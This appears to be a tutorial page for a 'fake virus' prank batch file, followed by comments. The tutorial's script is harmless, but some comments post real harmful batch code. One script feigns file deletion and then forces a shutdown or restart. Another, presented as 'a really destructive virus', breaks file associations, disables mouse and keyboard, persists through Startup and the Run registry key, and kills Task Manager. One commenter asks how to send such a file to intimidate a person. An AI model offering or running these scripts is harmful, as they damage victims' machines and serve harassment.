Fake Virus Prank!!

Prank your friends into thinking they have a real virus on their pc.

Step 1 Edit the document

Right click, then edit the .bat file and type this in exactly


@echo off
title VIRUS
color 06

echo YOU HAVE A VIRUS ON YOUR COMPUTER
pause
echo CONTACTING ANTI-VIRUS....
pause
echo DO YOU WANT TO DELETE VIRUS?
pause
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
pause
echo ACTIVATING VIRUS.....
echo VIRUS ACTIVATED!!!!
pause
:1
dir/s
goto 1

Comments

[ceurin]

i'm looking for something like this. its a fake virus

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 50>C:sleep50.vbs
echo Wscript.Sleep 30>C:sleep30.vbs
echo Wscript.Sleep 40>C:sleep40.vbs
echo Wscript.Sleep 20>C:sleep20.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep30.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:sleep30.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep20.vbs
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:sleep20.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep40.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep20.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep30.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:sleep30.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep30.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep20.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:sleep20.vbs
echo Killing all processes…
start /w wscript.exe C:sleep20.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:sleep50.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep20.vbs
echo:
echo Have fun!
start /w wscript.exe C:sleep20.vbs
pause
shutdown -s -f -t 15 -c “you've been technilogically raped, Have a nice day. ^_^”
(copy and paste it in notepad save as .bat and run)

but want it to actually restart your computer, not shut it down. at the moment it does nothing but close the command window that pops up when you run it. it would be much appreciated if some help could be given on this. it is mainly the end part im having troubles with.

[Mr.Science Projects]

Like this?:
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 50>C:sleep50.vbs
echo Wscript.Sleep 30>C:sleep30.vbs
echo Wscript.Sleep 40>C:sleep40.vbs
echo Wscript.Sleep 20>C:sleep20.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep30.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:sleep30.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep20.vbs
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:sleep20.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep40.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep20.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep30.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:sleep30.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep30.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep20.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:sleep20.vbs
echo Killing all processes…
start /w wscript.exe C:sleep20.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:sleep50.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep20.vbs
echo:
echo Have fun!
start /w wscript.exe C:sleep20.vbs
pause
shutdown -r -f -t 15 -c “you've been technilogically raped, Have a nice day. ^_^"

Just save as something.bat,Have Fun :)

[frostybob]

I can't code but just saying that doesn't work. The restart bit anyway

[popscott3]

AWSOME PRANK
Try this

@echo off
:place1
color 02
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto place1

[Nisalotaco]

so what is it supposed to do anyways?

[skyfaller]

If you do this, end it with .BAT , remember the capitals.

[XOIIO]

Sorry, but his isn't very realistic, I don't think many people would fall for it. Your telling the user not to contact antivirus, and viruses run silently. Plus
If something opened up from a file I would just check in task manager for any batch files. (Shit I'm really a geek) Maybe people would believe it.

[must invent]

This is a really destructive virus that:
> disables mouse & keyboard
> disables task manager
> starts at startup
> alters file associations
Here's the code:
----begin code----
@echo off
prompt $P $G
assoc .doc  = fA1luRe
assoc .docx  = fA1luRe
assoc .log  = fA1luRe
assoc .msg  = fA1luRe
assoc .pages  = fA1luRe
assoc .rtf  = fA1luRe
assoc .txt  = fA1luRe
assoc .wpd  = fA1luRe
assoc .wps  = fA1luRe
assoc .accdb  = fA1luRe
assoc .blg  = fA1luRe
assoc .csv  = fA1luRe
assoc .dat  = fA1luRe
assoc .db  = fA1luRe
assoc .efx  = fA1luRe
assoc .mdb  = fA1luRe
assoc .pdb  = fA1luRe
assoc .pps  = fA1luRe
assoc .ppt  = fA1luRe
assoc .pptx  = fA1luRe
assoc .sdb  = fA1luRe
assoc .sdf  = fA1luRe
assoc .sql  = fA1luRe
assoc .vcf  = fA1luRe
assoc .wks  = fA1luRe
assoc .xls  = fA1luRe
assoc .xlsx  = fA1luRe
assoc .xml  = fA1luRe
assoc .bmp  = fA1luRe
assoc .gif  = fA1luRe
assoc .jpg  = fA1luRe
assoc .png  = fA1luRe
assoc .psd  = fA1luRe
assoc .psp  = fA1luRe
assoc .thm  = fA1luRe
assoc .tif  = fA1luRe
assoc .ai  = fA1luRe
assoc .drw  = fA1luRe
assoc .eps  = fA1luRe
assoc .ps  = fA1luRe
assoc .svg  = fA1luRe
assoc .3dm  = fA1luRe
assoc .dwg  = fA1luRe
assoc .dxf  = fA1luRe
assoc .pln  = fA1luRe
assoc .indd  = fA1luRe
assoc .pct  = fA1luRe
assoc .pdf  = fA1luRe
assoc .qxd  = fA1luRe
assoc .qxp  = fA1luRe
assoc .rels  = fA1luRe
assoc .aac  = fA1luRe
assoc .aif  = fA1luRe
assoc .iff  = fA1luRe
assoc .m3u  = fA1luRe
assoc .mid  = fA1luRe
assoc .mp3  = fA1luRe
assoc .mpa  = fA1luRe
assoc .ra  = fA1luRe
assoc .wav  = fA1luRe
assoc .wma  = fA1luRe
assoc .3g2  = fA1luRe
assoc .3gp  = fA1luRe
assoc .asf  = fA1luRe
assoc .asx  = fA1luRe
assoc .avi  = fA1luRe
assoc .flv  = fA1luRe
assoc .mov  = fA1luRe
assoc .mp4  = fA1luRe
assoc .mpg  = fA1luRe
assoc .rm  = fA1luRe
assoc .swf  = fA1luRe
assoc .vob  = fA1luRe
assoc .wmv  = fA1luRe
assoc .asp  = fA1luRe
assoc .cer  = fA1luRe
assoc .csr  = fA1luRe
assoc .css  = fA1luRe
assoc .htm  = fA1luRe
assoc .html  = fA1luRe
assoc .js  = fA1luRe
assoc .jsp  = fA1luRe
assoc .php  = fA1luRe
assoc .rss  = fA1luRe
assoc .tvpi  = fA1luRe
assoc .tvvi  = fA1luRe
assoc .xhtml  = fA1luRe
assoc .fnt  = fA1luRe
assoc .fon  = fA1luRe
assoc .otf  = fA1luRe
assoc .ttf  = fA1luRe
assoc .8bi  = fA1luRe
assoc .plugin  = fA1luRe
assoc .xll  = fA1luRe
assoc .cab  = fA1luRe
assoc .cpl  = fA1luRe
assoc .cur  = fA1luRe
assoc .dll  = fA1luRe
assoc .dmp  = fA1luRe
assoc .drv  = fA1luRe
assoc .key  = fA1luRe
assoc .lnk  = fA1luRe
assoc .sys  = fA1luRe
assoc .cfg  = fA1luRe
assoc .ini  = fA1luRe
assoc .keychain  = fA1luRe
assoc .prf  = fA1luRe
assoc .app  = fA1luRe
assoc .bat  = fA1luRe
assoc .cgi  = fA1luRe
assoc .com  = fA1luRe
assoc .exe  = fA1luRe
assoc .pif  = fA1luRe
assoc .vb  = fA1luRe
assoc .ws  = fA1luRe
assoc .7z  = fA1luRe
assoc .deb  = fA1luRe
assoc .gz  = fA1luRe
assoc .pkg  = fA1luRe
assoc .rar  = fA1luRe
assoc .sit  = fA1luRe
assoc .sitx  = fA1luRe
assoc .tar.gz  = fA1luRe
assoc .zip  = fA1luRe
assoc .zipx  = fA1luRe
assoc .bin  = fA1luRe
assoc .hqx  = fA1luRe
assoc .mim  = fA1luRe
assoc .uue  = fA1luRe
assoc .c  = fA1luRe
assoc .cpp  = fA1luRe
assoc .dtd  = fA1luRe
assoc .java  = fA1luRe
assoc .pl  = fA1luRe
assoc .bak  = fA1luRe
assoc .bup  = fA1luRe
assoc .gho  = fA1luRe
assoc .ori  = fA1luRe
assoc .tmp  = fA1luRe
assoc .dmg  = fA1luRe
assoc .iso  = fA1luRe
assoc .toast  = fA1luRe
assoc .vcd  = fA1luRe
assoc .gam  = fA1luRe
assoc .nes  = fA1luRe
assoc .rom  = fA1luRe
assoc .sav  = fA1luRe
assoc .dbx  = fA1luRe
assoc .msi  = fA1luRe
assoc .part  = fA1luRe
assoc .torrent  = fA1luRe
assoc .yps  = fA1luRe
rundll32.exe mouse, disable
rundll32.exe keyboard, disable
copy setup.bat %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
copy setup.bat %windir%\System32
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v fA1luRe /t REG_SZ /d %windir%\System32\setup.bat
taskkill /f /im taskmgr.exe
reg restore HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr = 1
shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"
----end code----

Save it as *.bat
Once saved, don't open it!!!
Open and do this at your own risk!!!

[knexguy92]

I thought this was fake so I tested it...

I payed the consequences...

[XOIIO]

LOL what happened?

It looks near the end that is disables the mouse and keyboard, it seems like it could be modified into a prank that would disable the mouse randomly, something like

@echo off
:LOOP
ping localhost -n =%random%%100+1
rundll32.exe mouse, disable
ping localhost -n 25 >nul
rundll32.exe mouse, enable
GOTO LOOP

and run with a ghost vbs script. What do you think?

[XOIIO]

Just tried in on virtual XP, cant quite get the random number to work... also says that it cant load the mouse?

any help with isolating the mouse/ keyboard disabling?

[knexguy92]

I WOULD HELP YOU BUT 1 THING
I don't know what virtual xp is
also i'm not such a good coder, so... yeah
I LIKE MOULDY BABY FOOD LOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL
ONE TIP THOUGH
if it can't load the mouse.....


plug the mouse in!!!!!!!!

[XOIIO]

Uhg

[knexguy92]

lol

[itzepiic]

How would you stop this? (without using remote desktop etc.)

[eoscondor]

start in safe mode and delete from you startup folder

[must invent]

You're right. Strt [sic] in safe mode!

[eoscondor]

you might be able to use a linux boot disk as well (im not saying to try it)

[sinxxx]

is that true? what is the meaning of (assoc.)?

[must invent]

Yes, it's a command in batch that alters file associations. It's very dangerous to use this command. I've tried to run it on a VPC and it really screwed up teh VPC. See for yourself

[XOIIO]

I would just use the remote desktop app on my ipod, and go into task manager and shut down and batch files.

[must invent]

IS THAT POSSIBLE? What iPod?

[XOIIO]

There are ots of apps that yo download, but you need to be on the same wifi network and they suck. Teamviewer is free, works on mac, pc, and ipod and you can set it up so that you dont need to confirm on your pc. Free for any version, as long as it isnt commercial use.

[draghi]

I think this looks more realistic.

@echo off
title Fatal Error
color 06

echo Warning! Virus Detected.
pause
echo Windows Protection Error
pause
echo Major File Corrupt
pause
echo Atempting System Restore.
echo Atempet 1 Failed
echo Atempet 2 Failed
echo Atempet 3 Failed
pause
echo Overide Failed!
echo Overide Failed!
echo Overide Failed!
echo Overide Failed!
echo Overide Failed!
pause
:1
color 01
dir c:\windows\system32/s
color 02
dir c:\windows\system32/s
color 03
dir c:\windows\system32/s
color 04
dir c:\windows\system32/s
color 05
dir c:\windows\system32/s
goto 1

[knexguy92]

apart from the fact that you spelt attempt wrong!!! lol!

[rigellabrador]

it work
it is so many
it is a fake virus?

[ncooper]

maybe I'm not understanding the steps... I made a new text document(thanks to notepad) then copied and pasted the code and then saved it as VIRUS.BAT. So it's saved, I closed it and double clicked on it to run and nothing, it just opened the notepad reader, not the cmd prompt window, what step may I be missing or not understanding?

[ReeceLV]

When you saved it, did you Choose ALL Files, and not Text Documents (*.txt)?
eg.

File Name:                               VIRUS.bat
Save as type:                           All Files

I know its not very clear, but maybe you can understand my gibberish

[sam567]

@ncooper it is something to do with your system settings there is videos on youtubes just google how to create a batch file and things should come up, good luck Sam

[jinrowolf]

my sci call home and i going to use it on him today

[sam567]

sorry i not awnsered any questions lost my account password this is my new account so ill awnser questions from here :)

[cerebrlasassn]

 u know how 2 make a file like this that is not an executable file? my email wont let me send it cuz its executable. im trying to get some guy to stop emailing me and i figure if i can do something like this to him it might scare him away!  or if you have something else i can do to get him off my back that would be great! doesnt have to be this, anything to get him to not send an email to me again..thanks

[sam567]

What is he emailing you with, is it spam?

[cerebrlasassn]

 anyone know how to make one of these to where it is not an executable file? i have gmail and it wont let you send executable files. im trying to scare some a-hole who wont stop emailing me!!!  or if anyone has any other ideas to get this guy to go away by using emails?? anyone?

[rik3098]

im not sure if its safe should i try it?? plz reply

[gaara of the sand]

yeh its safe

[zilcho]

omg this is the coolest bestest instructable ever!

[mfrancis]

where do you find the bat file?

[jimmy4352gmail.com]

The quickest way is to save the .bat file to your desktop.

[sam234]

mfrancis here is a simple way of doing it 1.Create a new TEXT document 2.Name it whatever you want then .BAT at the end that is how you get a .bat file :)